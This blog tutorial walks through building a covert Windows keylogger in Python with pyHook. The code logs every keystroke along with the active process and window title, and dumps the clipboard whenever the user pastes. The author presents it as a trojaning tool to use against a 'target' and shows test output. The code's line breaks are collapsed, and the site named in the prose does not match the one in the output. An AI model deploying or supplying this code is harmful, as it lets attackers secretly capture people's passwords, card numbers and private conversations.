What Is Keylogger
A keylogger (short for keystroke logger) is software that tracks or logs the keys struck on your keyboard, typically in a covert manner so that you don’t know that your actions are being monitored. This is usually done with malicious intent to collect your account information, credit card numbers, user names, passwords, and other private data.
Keylogging for Fun and Keystrokes
Keylogging is one of the oldest tricks in the book and is still employed with various levels of stealth today. Attackers still use it because it’s extremely effective at capturing sensitive information such as credentials or conversations.
An excellent Python library named PyHook1 enables us to easily trap all keyboard events. It takes advantage of the native Windows function SetWindowsHookEx, which allows you to install a user-defined function to be called for certain Windows events. By registering a hook for keyboard events, we are able to trap all of the keypresses that a target issues. On top of this, we want to know exactly what process they are executing these keystrokes against, so that we can determine when usernames, passwords, or other tidbits of useful information are entered. PyHook takes care of all of the low-level programming for us, which leaves the core logic of the keystroke logger up to us. Let’s crack open keylogger.py and drop in some of the plumbing:
from ctypes import * import pythoncom import pyHook import win32clipboard user32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = None def get_current_process(): # get a handle to the foreground window hwnd = user32.GetForegroundWindow()
All right! So we just put in some helper variables and a function that will capture the active window and its associated process ID. We first call GetForeGroundWindow, which returns a handle to the active window on the target’s desktop.
# find the process ID pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd, byref(pid)) # store the current process ID process_id = "%d" % pid.value
Next we pass that handle to the GetWindowThreadProcessId function to retrieve the window’s process ID.
# grab the executable executable = create_string_buffer("\x00" * 512) h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
We then open the process and, using the resulting process handle, we find the actual executable name of the process.
# now read its title window_title = create_string_buffer("\x00" * 512) length = user32.GetWindowTextA(hwnd, byref(window_title),512)
The final step is to grab the full text of the window’s title bar using the GetWindowText function.
# print out the header if we're in the right process print print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) print # close handles kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process)
At the end of our helper function we output all of the information in a nice header so that you can clearly see which keystrokes went with which process and window.
Now let’s put the meat of our keystroke logger in place to finish it off.
def KeyStroke(event): global current_window # check to see if target changed windows if event.WindowName != current_window: current_window = event.WindowName get_current_process()
The first thing we do is check if the user has changed windows and if so, we acquire the new window’s name and process information.
# if they pressed a standard key if event.Ascii > 32 and event.Ascii < 127: print chr(event.Ascii), else:
We then look at the keystroke that was issued and if it falls within the ASCII-printable range, we simply print it out. If it’s a modifier (such as the shift, ctrl, or alt keys) or any other nonstandard key, we grab the key name from the event object.
# if [Ctrl-V], get the value on the clipboard if event.Key == "V": win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() print "[PASTE] - %s" % (pasted_value), else: print "[%s]" % event.Key, # pass execution to next hook registered return True
We also check if the user is performing a paste operation, and if so we dump the contents of the clipboard. The callback function wraps up by returning True to allow the next hook in the chain—if there is one—to process the event.
# create and register a hook manager kl = pyHook.HookManager() kl.KeyDown = KeyStroke
We define our PyHook HookManager and then bind the KeyDown event to our user-defined callback function KeyStroke.
# register the hook and execute forever kl.HookKeyboard() pythoncom.PumpMessages()
We then instruct PyHook to hook all keypresses and continue execution. Whenever the target presses a key on the keyboard, our KeyStroke function is called with an event object as its only parameter.
Let’s Take It For A Spin
It’s easy to test our keylogger. Simply run it, and then start using Windows normally. Try using your web browser, calculator, or any other application, and view the results in your terminal. The output below is going to look a little off, which is only due to the formatting in the article.
C:\>python keylogger-hook.py [ PID: 3836 - cmd.exe - C:\WINDOWS\system32\cmd.exe - c:\Python27\python.exe key logger-hook.py ] t e s t [ PID: 120 - IEXPLORE.EXE - Bing - Microsoft Internet Explorer ] w w w . s u d o p a r a t e c h . c o m [Return] [ PID: 3836 - cmd.exe - C:\WINDOWS\system32\cmd.exe - c:\Python27\python.exe keylogger-hook.py ] [Lwin] r [ PID: 1944 - Explorer.EXE - Run ] c a l c [Return] [ PID: 2848 - calc.exe - Calculator ] 1 [Lshift] + 1 =
You can see that I typed the word test into the main window where the keylogger script ran. I then fired up Internet Explorer, browsed to www.thedarktech.com, and ran some other applications. We can now safely say that our keylogger can be added to our bag of trojaning tricks!
Let’s move on to taking screenshots in next article.
Also Check How To Hack Python’s Import Functionality.